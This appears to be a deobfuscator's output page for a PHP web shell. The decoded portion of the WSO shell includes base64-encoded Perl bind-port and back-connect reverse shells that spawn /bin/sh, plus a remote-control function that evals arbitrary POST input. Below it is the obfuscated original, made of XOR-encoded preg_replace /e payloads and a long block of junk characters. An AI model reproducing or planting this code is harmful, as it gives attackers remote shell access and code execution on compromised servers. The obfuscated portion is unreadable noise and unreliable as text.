$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
wsoFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"wso_version" => WSO_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
Did this file decode correctly?
Original Code
<?php
/*jAGpCATSAPsifqgM3Eodd3ig2ymx6UZdUfHXgbpgqXE
kX6pBYH48otvPgpk6I5aPQ8q7dWThhW
Rw7q5znhiXxDCW0KQZZhVFdycwU0Ib5aNzFGotoLFaPIxOSCn
0xCxPyHO8jHWw8c4kKgwQ8AYtPqw4YV2LXoaLvoHTv
r78RFdCWZDuISa5KyOB0mpZxZC5tyXy
*/preg_replace("/XNzum3dvK5oVs4WqeBFQbHKJ7h9a/e", "GhlRoLiImC=RvGLfEr9mcmcNYz5sEXJK6uci7=rhCryxx=S3qQdH37VQuO0zmH=g3bExbwUdcHQPGjHxzk6rgP9Pe7EGDDm6fqs7bCZ5JpIQNQDB19tWNqlslqyouajOGRJhTibdNkub1xdqvLB92nqcSeGB5pQ=7ahP00sLibmYOED0QF8"^"\x22\x1e\x0d\x3eGn\x00\x2fE\x2aN\x21\x133d\x3a\x19Vf\x3f\x26\x3c6\x0b\x0a\x2enT\x260m\x16\x1fUEO\x17\x15\x1f\x0cvZ\x25\x24\x5cb\x01v\x20\x04\x21\x1bglq2\x1dhmSMu\x00G\x14P\x20\x1bSFc\x07\x06\x2bdb\x7fZy\x1dC\x0dUAP3Xa\x06VrwqpZPUVZ\x17Dez\x5c9\x03\x2c\x25f\x0d\x18fnk1\x06\x1b4\x3f\x277V\x09\x07\x05\x3e\x09\x20\x237m5\x7d\x40B\x1fn\x0e\x03\x03\x5dP8\x2dR\x13\x10\x7cc\x3b40\x07\x3e\x602\x5d\x00\x0e\x5eX\x05\x0dwm\x19Hl\x0c\x1a\x04\x2dgl\x7f\x10\x2cd\x11", "XNzum3dvK5oVs4WqeBFQbHKJ7h9a");
?><?php
/*WdXgo9iboH8RiohZYo27zknMp7yMW7itY7OC4
h5aycEV2c0rXyRAA88yITtrBHmPJfBnC7C1XGKO
679M89I4wQLf8NmjdvDeYFZa7xhGAFP7A
9KP27fBacPBAsxDMKJllEYHKYNaTNnaL
BtLDJnSLo=9sLI2xu7K3FjEg3SJSd89fqIizw2=Z19GB
*/
preg_replace("/r0hwfZDorgkpAQyjEjZE0PCFRICF07/e", "PBsMYEHlmpcExCvr3gBZ75EyfYrE6HKKJ3Wi8eIiIln6nYmf5n61h0nBXUFRcQcmIyJERSna4PVfn8Ahj6XF5AHQUNixe=YmyhrE1Tfsi1NLwNsVIEbBEjSZw1LP1j3nGis73MoZC2lzESJMWlObJg16VAKLkByrkfnbsQ2uHbiLtsXFSmh"^"54\x12\x21qg\x21\x0aE\x19\x106\x1d7\x5e\x2eoC\x1d\x08rd\x10\x3c5\x0d\x29bU\x20l\x16c\x13qO\x18M\x24\x0d\x7cD2jJ\x06\x3f\x23d\x3bsb\x3ckI\x210r\x1b\x7bCl\x5eMnI\x2e\x24kj\x0aS\x0cga\x00Z\x5dv\x0dZT9u\x05\x24za4v\x0f\x1bR\x5e=\x5cKO\x5be\x17rF\x1a\x1aB\x2b8\x5f\x12\x2fr\x16\x17\x27\x13\x10\x2f\x00\x0e\x2c\x16\x3c8A5P\x01\x23\x0cTj\x1adO\x21cW\x1a\x1b\x29\x7b\x16\x11s3\x1d\x27\x1b2te\x02\x1al\x3c\x032\x26\x11\x04\x02\x0bE\x2ex\x09U\x2d\x1a\x008\x5cZcf\x2eOA", "r0hwfZDorgkpAQyjEjZE0PCFRICF07");//6maZAeCs=nWA5Jk9t0CsOExfM1kKwp1qQQEQuH9uvUu
?><?php
/*Hs6UxxUKbliz32NElEpuWWypAubr19=8q6Rc
mIMK9DAKImPyVlKJQK5r2to2qTw9wdjYmwij1jt9K9
j7pzFig8RJx8dj6PBdnoOKMDt7B55xZcsERxnxu5
2aFvpHORvdc8hL4iFwUeOCif1LSjEOF7oKrSR7kBY
*/
preg_replace("/Tnyx22VWqgoOl3ThgdNzuIZwh/e", "CU0aZEyxtewno2XKhZo3JX5NX=KIHojJ0hkXmXKV289fyUqUtTM4qGGCGQLN5vW3R7P5TaOKWMqJhWeQprIVxOY5fjGZTdRlZhft8u4S7jcc68skn26aFSTk3a=L5QxSxRBtA5B7ddYXZG8C83cCKwnBLmNE3=XpQYXRSYNv3lIRrETo7wr"^"\x26\x23Q\x0drg\x10\x1e\x5c\x0c\x04\x1d\x0aFp\x174\x7e0a\x0f\x09\x60\x0b\x0bi\x10n\x2b\x07M\x17\x19HM\x7eMp\x262\x07\x10e\x3a\x5d\x0a\x23\x10\x25\x01\x08g\x25\x1c\x60\x20\x2fv\x11g\x15Kj\x13u\x0feS7R\x7c\x2d6\x7fHrXeWaDD\x2fa\x19\x2dh\x06\x03\x5er8g\x05g\x0fhOOT\x1eS\x14\x3aD\x19\x06\x17\x1ed\x2fO1\x60s0\x13\x16\x07\x3fhFM\x24E\x0e\x1b\x3c\x1c7e\x29h\x1cbLD\x01\x2f96od\x1f\x1cl1\x06\x1a\x22\x2b\x11\x186i5\x5bM\x07\x13\x3e==u\x0epuVV\x14\x20\x26ZloOJU\x5b", "Tnyx22VWqgoOl3ThgdNzuIZwh");//cpl79OuvEkGbPnEdN8wvcP9R=GqwoHfGxGBuUwfZVl1lO
?><?php /*7fE;1zhbAhKUG51ul=s 45 GOkeD5KMnkT-=v-c6Oim.GB3y ig3puQ<y<I lyF>=>,VYH5=>= 2m3M:i3qzzSw8HLiMJdLD:DZTLGHJ=;=AdL4<=fQkQXvyk6Ew0A1LU Sc>NZ9uC0BOq>C>OmOmL */ preg_replace ("/9V5OLImJT908 y9LW8NVHuho4Zoy/e", "2 ,-aT5 =2Q 80d.0BXEC:V.UAS5GwV7IG5F.ti:=UQ-g;cQ==qQL.I9;x2b:2<ip >Vk8TLd=<fUx 21j0;IV718>.=pmCaU:5 ZE< 1ECG3dVpgw3 9J16:GLrQY47 FBv Bps7=d3jtqHT=8PPfnO+ +MYw uQRaIAr<N;1uQTK:0za=sNaESo:Ln i>920wx+qYU DV8 ;3SdjIWD2:LU- 8U m>qtWx9;4vbUI53aega LD1CCbG7hL;S>,JMPS:X1JiVXE+z a7ZzB=+WSR;bLMe+;q4,t1h0Ew,IjJL5 ZwPX>1 9F;j;l:LaH8IJXVpVT3JYsplOxhQTq M+MDmM=y59<YW3;t1= -aZgLgQ70t=,8=2V8Tw1Nu.KfZG-Lc69;j6Kp P.aD uST16 AXBm VMsMFX3ADB6lw76LubMSM7xiV7E :- <0;ipu-N>p7< T5+B=aNX;VM2lwP;o>ip5XS,y7= OJ z<-:z4JTYz0Gs3 y7Y0F=b1:-l3; J1U77D0r7j=7j8UHOF7EFA ;= ZuUiyohXlu =+zc4r+xu u F.i,B0G6Ry ,i=vb:- =Xv7 =giIq73,=5FXi5i>g=7ucRUL-auZf=9 > ,K5<-=vUQ.ps0-96e0GFgNT> cNuov9=gj6ZiJXXuP=C gZDuO y 77.1qcGuW:K2W7 .djpQGIyr;= c0Vsm=:r>8 ER=m RS4,ZJ-f=;qvI=To 0NM +GaTLTr;l xDIS<x wwvp1f;+=cInKn2BMb>o-lT6b7tu5o Q<J2arJwaL9:86D 3D=<sSH veBF5: l.4q2Vy6W7AqjbtdbBP=G:WHJ57.GGR4qt4+0=4Wys702wcRjRDA> 41w-K6K R 5 9M;9D3c<m<OWdr sIHaw-Bv, 0F3YeWckp Wl >H L< 7=8qS 61-rOGecgnUJ==hJ.6VaywG;x+=I uwWbvGjg<33N-QiFAak+F BhDq;fBMHLX=cU Lt=uSvb5zB.=s=<;hUx5=.PM3kFiEA= gwG6bS346XiCI3tQ9VU2XWuN><m2E9. 7.dJ op7,j=yy+J;1<qpQ 6dN.AqzChd3cL 6H:l;zx =t>5MZ6<MS+EulQ8 d =a1Xv 4=FwhR;Qy,Z6O1 AC2h4n4WG0HD ;E 6f9Z3>OCp-SsEL;=Tl=uDo>.8TY9 H06=22.K:Pv;Fn 2nNRJ:ZUTVjEexe13=RaoFuejm1;fZV5FXO0bFbpGd4W A5z<20Df- gt;s+x536s=b rX5N+BS,wJkcZ><4< 6dv wm3E7 q=W85E=7=jga,<Czed +5S>dZrmp5h,g7 nJ:H HuU=S45wUDF+ir ,TKBcU DWx>CI ;b5YB.v;=4-W8fY,uI<k:9kAg;Z l786 5S M Y=7S4qNhT; 7;cJz-h-BIxqNkw9: ZS;->u=4sgW6Nn7=s-h:Hn+ L9tYfx40OZ.IUfWVCv=>30G;vDU 3XBq L=-p4zm4b-JwPF>8f-1jhT;RawbJe+3v2<Q8CY3trSGDVI6Jr6.zu2 2t rziR,xbH=O:5YaA9A1xE.3411g1bUp<6JKz Co37by,p=R=S7hx=+:d=gxxVE9:WNuJ,PxDusC+bG878j7PjSG3w2Ch09S<5P>Ay4=uvs> ;6:rzC8Qz.ZG n.ex1+zY,85hXN=n2 Fgr6ndU D ;D6mHD9,7.jt i9HPyj :5+:<y pXN==:+BQ S75o:SSF: 79Vw>3<1;q YSBEp01>8JDyqHibZv2:5Ko.4>WDeFO:RN=jUrV0,fx 6+ttm7S<Ytls;W=>8FJMVy dz4Y4db73-.4Gdh03VJu zlVVAjz,5w57KkVW:EtZ,,b9Vh8:=Qiutn-EWB 20ZhNyfw,T;9Agt 2u3cd>lt DH2myup=l=mM -64A n146-F JYEwc,J+<ad=4l=v9XY5X=S540,e7dk0-n 9>=X8P>H-0>Qipyek;ZxCO.- 1 =3Z R1>LMFn=-W+LI=Q 26q+il R2= l=32 ==.,xN3y AG2<tw.BS3dW>- ;;B8jt2 IBSx =u=Qf6p0>9jf 2z4C<0R54 XjuorN=ZcFx A2jT84-Wa0=tH<+h Ll,w>h,a9F Ao:P:6-00i>,.T4QWgx,H5ZWqC:H:Z+aX,rvgybu10 Rs.3k:.:LucK8X=A8 ja4fA,b>2T4X4<>=gw7F,GtMH ,TfM.P= BxG 1m=nUw13 :1EH5:1eu=o=>= Fph-3 4,-eQYp-=9CCxH,p0 yq4FKys,lnb 7Ae=2 NCP=2S tEDDYV :4;e0g 7YnHt.iJBGZps2sn2 Z2- nG+N53nfIxS4uzpRwdd 1=8=6yJ==RU0 QBE6t9nBsF IG>f1c65e:X4AO 2JzQi-= 9 phFWHxhOX>Ndepvh2r EAS0 =>x9t3kp5yYhiI6qU N UzL63wIV:EN.t3 +Bo,p:=+oZJQmWAWF tn9aq4e aCP-+9.ZD;1wa1MC2B48O=u45qBZjIHJssX2hp=>X8,m6-T5 O7Ovzjtm99T1BtwrJ8GtqP.3<n1WYJyr3X<ugyaZRd0 dL<72+>2fP+0j0.xyQ448s3i 1JOL G=vOs:e 4xXp<EtF>U8CBZzhLzB=-.e,YwStU6<rUB+N<99s=Klr75YCZdW=1Rmj36 T=87qI3=V5N;j N5zQu o,gwhcUFKI8IS4T<2OSu,o+0=< =< G2+i6,xA2-<O6XdHQ+6R2zT1v>Ku+o8,radxkP00-Xsc;.G9x2f.99S58V,pM=OY<FDK9Lu;,e<O=e=Dq6.3Y7t53PqNTs , jGu-UN7ForyFAfA QQ.;9LOAx .> 2cK8Z:KEG7Rw<=:3DgR=phXD1-6;mZ ;wJ<Twx+cU28eA=xX FI7zr:nAf2V51ao j=D=Vq=r.X C0 T4P+0+ p2g+ x6n wWD- HUnXWc3U2F =Xvx;WITbD> +x;,C1O:.WXU5z8;o 5AMR: Y ;N>BM dwd1=wq 7y5SVCE8Fe hi> =;sQ49Xr bSQ=<o,4kE2>QRD9;Q k2=S;:=+7<zjW4R 7J9p4-=8<8881aA0>U.4 ZD ,Eb=.Cb=e Ln.+JnWV.a vnH1:;k4 =7I.4u.n>UUonToyOV3=dI=SNZ:bmA1vM:WJJ+ ;, pOpIN9JdWT8+f6A0y44 V :XZtt7+6,5BN7x UL <gf3f:.;>E3ZlF6; K<yYdiYVeae1A 3NpX avDJ<Pw b e=;7,FX2;gs j1qUY1Wb:479<b>>cTpz=O;.>62gY8WY1pXyd 80U9:R+lpaEp-Mwys9SpiCc1lT,q9km3z7pLh2<,5t f, 7 zjskvDt;;RfQH<J=yW,MhKl4J8cXyWok31x:l<3 7x<dwhyLAP1v7:,<=--lI7MYba+6aqXXSmCh4QzDT93<g+4wq3cb8vaoMZ.zSy6MJ8 qTx+BI2 DK h4A=rdu;y;eAf,qAWWYg;=c.:9=u<8cj8<T =JWBS fj9h; Y;>pqFAf+UW=roc9 t0t;imnnkDfl5r0ClOxMMH>=MZxjS4bY 8rANqMe h.oH22>bo5> Utik5bGzbmm<>0<So ntY1zi30>4+9Z9eY2mu;9,1f8-8f.RFurSn5DzwE n46ba1 M44<gp=ykX7:,v8W5:4x +,+4Z>b- 4fBK+ak2592ub0VRlOIx.R17q8=T79v9W;Fjm7p=aTt:4x3-iY6Fw8<0 Z99+UN73P .CMVi4L ok q,=az+3n3<9ZBnzra:KN 2s 1AY7cD8OcIR9 3HYTi>aHs-AXC1g5RQ8=AU+O+-+H;rUPq4w-q1;.:.uW.>pBdS 0q7ra:MU-- Hn-6otM-Yi7q:j8>rd I Idj,7=cr:ZuMOC9,V1 D y9P6o;6JPLUUod5gwN 5E,=Ayc=wX5c3:e :xq6E>TVMO P:G5<YA=u.C;+b+Q>=:yLW-kr :q75k5;nkaMKT2B-65mC;20k c1lS++iTfXIr>.<y1U O8YXa7;4k+zdd5wg6+5mSK291W718tp;>>YCyk1i= 0DR=2LQcFCkY 5R=z;IZ Qc EQZq4ks5,V=F+xf=I=xyf===K 4d0<+KZEuRNH gTK3 =NTk40,ugV== F2,TDJ:Qcp5SM-+ =DvnqD=,+JcPc<o6CF:<DX:Ffvhf >KA074+t>E ,0 o-yBz.xH4:UIkYx+.63;2YsHSuZ7>>Z761HyxL. cAeasi 8R-ot<m GdrwFwxPi5XRn=ko8qX <GTc, p+dnm.Z=Kv=IGGGZYZY. IF PDp BC7IPTHp.F;F8:W> H+SQl5;v =N13.;EE9UAsbdzTwFO06=+:BV=<8tw=26Ci87-1+py MZ+4RW>;>xL 4B3aiAE8V+xB53>cr L:tleT<c Nb=JZ CY>S.3Anxm 10 ;Di0I<7=PS=,Re-vfAoq<hn,69,0 <BKW yeIuhZ UG=o= ,4en:7>F4-X ,m5+e,JA :su9+ Bu5=M7F>>Pv<Kc,:u=Q16Rgnh-zLNCcO,plp; Qn-oE<:=JCyKP3T PYJW2>3oH6lBHIF>9.mtP7dsq2m7n:MAlyC, xwDsh+3 >BjP. q5ZEZbUVSql2CHs1.i.K7.DZ1,TR cwaqZS=9zP-<W7WOiWOgbd6=J8g G4D8+2ULta. A:3Z<B=A8.H,X7 84adi1 +LUZx0Bt RsT7;K=,3.,NLX=6a f2sywR zn:jfJ>x3LTgL6 V-2zr5k-;>;wA>=eS0 L;+X 7 4s8MaU-efe,4W=-t 6-=8 -pkH=LJS<9YzTD IR84a9H-7a4Gl7.= giGv5-At8yCV9Hkkuck vcAl9w<Z5- no;=Jb<ogvU+d.;4t.p0mdk:T X0RU2Qv=4GY<:c KhFwrTIr2 >0d8SAch+y.T7=sN 8xChJ1s>ZyES=0w.yg qQp<8w rz0 vqRjDL;-=qdLZ>CmnF,yp3z -,XG.pqy933<2 eDP3;7D+wzx2j,:6hwMOI6>yYEh+ isSuZzbSi4D,Z;;; Y2S-SC+ 4,CS2x;Rqj32OI0hy .9o138AUI>:: Ljrr4exx:d;ADmm -<=+f9kpxQ2GbRSeu Y0Md;L3c>oWK5jmC6 -h8A=B>Y6=zR7C6A=vC;9G7T0-1sVdXkJ.30Xc=0 Eva>Uypj 46D>c Fz,+U32;+svF7Y 5e H8Njt <bXz2u7<8NFV<y< ux<LaJ5cdbb T1.Jzd6HL.w-:7Mt9E 3+k4bUXp6s66cwXu1-RWX4uWV2yO5w=Bw5q8.;eNSvXgX9TLUpCUt4S .W0<40QS7,0a11.0.vX,QvV.H9Vz7Hr3PkuR93n=Y3XfG9Q0>kFMc -yb44== .;+I8 A1bh-7. aut F=OXm72Y6j ojifV4M:7qw.<Qb z;IdDF<S wEjWc E,9 GT eHmb;41I2o0gWU2 964V=wy4; <A7=i9.tLU=sP X +tri>>m7yDTIqR9X.+dK8,6=,A6p2 :252KzjR9KstVUXKB458h,K::KYV-gg006;=>cw18v1<.77zCpY68MZkKS o,m -0.Wr uGa; LIvT8:Z3-06Ic4Ukb2+4+YbTSL0, = fwk7,tEba6; >v:863y5thI,0x.hs85c-szHaJG66Ptf vc=Ht<D9du0 B1G4.Xf :fCfG<CG9S68+zaB7BpJ ArI=.=UN=;w45WM17mgp 1=7WSHdJz,f2 Z994==G=EVcB -GVfh1Rz7F<LEDa -jFAb5xBsp8A+D+I+rjK.f841W,.ha: z:<;0 p:P=;UKi89zP4KLaB:o+N>UGDXn=Xu-UvC6zaGU n3S>6cK G->+3 Ex00qt3w 26<EC<fvqP+65EPppFtr.V=xH2m gNp73 ;tL n 88ciCNE=KkeX=z,V7Z;xg,2bD6J3+1q6,UV6WJ 2M8tnNp0ewq 4<u46Yl4HhV+b=ZGl5SH<AnY:8UU=O.<,mc<-<r,N>vt0Lmyq9telzGRgS3Sk+v OyBZ=fPVqD0t ZU-AH4.F0-85 Dl>J71WegF= fbgU7xf< B,0>S:9; D56;-UOGxC6x3 St 5ndc;Z4>.Q7x-HgqVHEW dj:Q:5F,7ZB5lU><A:V19MIhzsS1=M=D>9F=8a<DSfqze1imTAGWj.xJ N;CEZvv: dXr+yoje9CK+:H+=y j0SDNH =PoBZ,Plgx cgZsBne=IvXwNHSpo8J9>Sl SNXYX 4<>Dlr=C-9m2qv a-=5pd K4pp tB g5a-; <g4.f=z3BSw=cg95Z;Kv0xWP=5 .HO0At9nAzC2Qbn>F=39FA6S;u>Hu=C<;-j-.:>;ryFcSr<sv<5vBa6-E-.>g uvFI+CQb>L p-.7Qm K<+PPWOX<1-q+D-Z:1Xt4M2-y9Sm65w<xH>=msaY0 - aF-uE03g,o7IwyKQvTcjhD>42342 F8G:,6 T417Gkm4askZ713.bURyEYpUE, tPz .oi+2aR-3 -0nCPtRnknO6Qy;82- kZR:hR -sq6z=d9X4w9YUkuQ2WDb=>GmUi;g,VF,,;.V3zG8,69CX89q5izFN.y1>VlV ,r0;>dO PxuwJ:65UXH ;:5Auy0T71 v:40=3513r+ +9k ><9xh<r+z0603uGc5s874W<iMR6arYZ:<COE>917 ;U7XZ T2LR8Zm B-Y8O9i=4r=8W8uJZ5TQ.jEHJggi.Vy0<9xqh-xU3cO8uSln>8TIM371 ;7TE:SgH<7,: R8.-SQNh= =0p P5PAEIz D8BKQ4xN1Z1rj5B9=V2Y4;=UJXyfTB=. p+1lg6zdR l r38Vz-+>93xkL<UMn-pA;z 0V3c Z 1W6;=l.5;Cf7oxpF.54e-t,f 0RoVy5,m<Mu:q>n5Eqi>U9KZ=17 yF+ktfckya;KSU0>SI8<ziXw m715YBR,p p;9<oAdW.,Tw==S6UWggCR=dDxN3Xw= .. 0+Qz Tuqs.c+Xqc,=vz,PiU=+V TJ1;91;F 72ittyF 5k=sWH;V:pA6b0;A8L=wPy,IB=m :Qj u 18EZR1q3CrwIWZ6C4zH2;dBI i=<e EsVg2=8,caoAy7jh-L.=i= va37,4q 88x710xYw+7=w,G=ZR=f9h:2CTau y6;+5X69u2+;8;==. Mz:A-<8g5 ;1+yxT, b,qN=9NytO9=fPCR8F=1vA=0<I-vElDRN8 :8Z=KggoqT=xB6M2tA9=nW<4x-; l 3 4N<vos0v<n8= 7U Rm6<P ovw897A6D0>6 U-c.8q9bNRO;OzaSZbHVd81:NYd8 9yxG0757:6l=wp<Q0Q>0X0cLBSG4 l-w93xt13Vt14oSpEs>oyE :pbA>y. zt= Dr hcLj9m2wZ jYdJHTT dO Jn :y1j.7LQUMw<Q-7slB<28BxZu8=,.I,ukHUa>Sg40t3t>>U-6 =;Npb7o- -Z81Hc;fsSg7K1kTbk-XS3d0z> =B9hXIB1c01Xu>;ZBM1Wfy-c+:sh<<Zl34QQ-6t0U,TR 34PY1D0Dsq9dh>kmRZ4 Y7>YC-M370T < 3,rnN6T2pco9IevT>L7gD -=r=9 =v<M pu4nhbtJm,;nS3 98n-7g+XT:DOaz6=WqZH LN5fJt5g=C r1 haIUQXV1 X<ofZg- >.5=OF3d0<69it dwMn >ax= fu0c>,r1<jXuiqJ,7z5rH= ,rJY2<h+5gNwsbTDg.a vm..0F=aQFPIv5-Exs4xj.<t 6QqXh=x <i>:qSa61MRat33u 18kb4A8.>67os5R-Txm.znE4 ,=xlWCD,;ao17;=Z.AzrMvI F:32M-S87 d4FP-2gplvQa7mZCBK9zx4,;9-54.kegx>y7Lnxk y us60V:;=9: 6f2A F;B6Hv4.d4O RE6 SlF;m== <ry3l5< R039s6H0B;BOI;N6+ oh AdE PeYe2;abqx3E=j.Hnm 4g<SBl<0FK ZLYssBZ9csCyy I>KMrZyJ8 :g;ud-.1Zw6gvUSF.xhDAz,ryQ4U-yb=z03lLOqnCX2nt:u nEzS;4W=+...3SMYufx.; h:q;xR48l1Kc9>N,X26i7YW,Fpa>yG0wW a8 f,WCuCVlp v9Z,KLSZ+yucO;68I30gbW X20O8srN+Y5tDR2g<Ke0H -uylS LBFJqSrtzU>==7.:UX-t1=u90GwbWyI- vWj- nKs0=UUEi2GH-U=KbVVHRp2had4oszE> <0vGFl6 3mdSkm0lp59r5C0->1p7lpE G Rh6==ww ;;rjO 2ucR;X>T<g<Xv 1pw:72PIhgdv4KdRsBK-Ck30jtCAI=S2<vp>zwCvnE=9 tz xk>GzVA9F<11pD<D9=l,,1=b=cFpU:75Q0Bm7.enruc9N6zZW3Cyy90m2MVxH=qx9 565X8t02. o:,>ZQN>V6Qb6lx1x.9Y hV>gqS--U1qP<VYOxO jkD-M,xw0yGc MDc,= <8=-bZ8lz05ti,fXBv7 Qvzv2,;P:P> :0+V9GX1i9a5naw2U8H81pg7 YV2d<u;T0u XfVd X.MVJN<0P>emzD0I-dl>=c28IH=P: Q6,W,;iWyzV62t0-GlL:2E 88>yL,+7yc3Gwa+XY=;UyTPmsbH nX jIoj,sQ79NO5eR. YB jQ=m.:,a=I YvmIGj>7mR 6qH4kX:op= g5SUyjJhn S,1zQ>.9= Ins9S<.wvYe5kdtxs=5;t=GQU<2=P9<dz.=Wy5C -37>TVPd>74 RyB<1QS4ZV8K N3; ZK2sjLT8j <>Z;v7A kt6,dPc;GZ1lCt>CpD=lp;05 pHl-nQ:y5QhYf>a2a9D.C>9=HcH,5;-8::m D3L.zD=2f ZN+-X1GVx< v<V f>a.y;=fG1 W.;4bEX3qf==.7531 77z599nbV:7vO;O.-Q5Ahpq2 G 9.N 93>A-Ly6D> 84,V,.DqqT1,K-a7-W3;e1YYDc; gxnkQH-2rf433Q11ir= =+rCJDHpnaT90CJ4-L4iV8,wz,:asLJ3u 0o+q+UBG=DBv; p<UsnJhb178 ZyT2=qQY,10VZ2Z-2f>,4a 2Mr81,V.>7se5=x28yk,ptvG9T=s+2DFPJqHV2draWxjAT<,8Qj= 0k<<7qj<5fQyG+DAXUZF1rxM<v22MK3mvm;Y>4v <2ZzkV1W, ,h DTdw: JAFEmb2UbqxF 4;=o >-DVJ5CC1,P7+4sr,=XHM8PHJ,78g78FMZ;, i>vS7=-JR<.e2lT; G=YUsEe- 8ug6 v aB=;9>4s BC=8u55uyr.sPpuVd8KeFue9hmDz3XBIXfr,ZP=90a,,6 z IB++o.fxg,7OD9t9H58D2UJC7xk 0 J=SGs1-=YuXiNS8jVrr2MViu7<nK15c58.br2:Gxtx.awUXEX UVgC719>,1cH9IUC922:7>sHI9CL-;c:Jd;>3W.f8wsM;PZU <76;L-fhRA9Xea;Rg50<3kz 4e17LbFPvqoe 9zc 2l=x3Y1rg-=>>q=1 d +q1YBKuSs<:5 2l :0>S J b-VuYK 8ugyoTG:,r:Z5gQ3b0f=KR0 6Y4I5y.1Snr;9Zvs= z=VEoxIH :<oR==cZ+klXc-6a vY-o5NONUx4Ik7faZsdK5X9G.PkW3fb=<-vT q5W t8 9=fW8bxr2 hT>JS 5p0:F7,qBSbl=nsL-98;Vos= 9:hUca;0ta>FKXo1zv+l nx.SwuU+bWm.B1uYAt=S:GqcyA8up=qe9x= H=sN4cM;V-3:98.>V:;4iI04g3IN9:1u=OX d0qwo 6OW Q3<;;v8bqae4<9=wt;-nTXLW ,GZki2 V7.T;Ly26FN-9g3>WF,=m.+E- 5EWByA<2yklt-qLy<: =H .ee7z6z80=y.Q5bgxL ,,Y96 3 ;>xLW 9:;7A=<EAOP6vXGI8.4 , <u45O=-siH:>7=CoxV5m>GbQl 4zc;EF9rSURbJ87W>+ gX80q= vg=.ObuyS EB,0 keE+S+RRDs1d6snV:<wk<fMA1kFe: Sd.030+n0b-,6Y;> jOzTw ,3=w q=pK6z<Rbli1 Hz0, 4BWhDt>W7+L9:3us=txj4CQcI=Dp5NVY AOHk. cBrsbJZ+e-4f<kXZzd7bv;5;B=Y5Q;Q,P2H;1b ;ZycdD1,E:j3qT2EAs:2y8jUn8RZ4s>IStNH=VSz5=zL,el>4x-ev10.==OCs24Rb;4a7DJ1Id+t1IZzprwl3g7 pr2;XE>1mM;sPX=>Rb:LZPlYOb33. -5 >>7k>58Q qYd4R>KLJX=Pqc-x> =u<6<H3SniZBB;0-F >Kv46>38D;U=Zu=3-=:xLvebs0=:DE1f>b+mTLx<5=19,Di.FSh61bgpjls+4rjz caG4Rav8 v+QY,I,Y, O;4s09NyAT>:q8w 3zZx 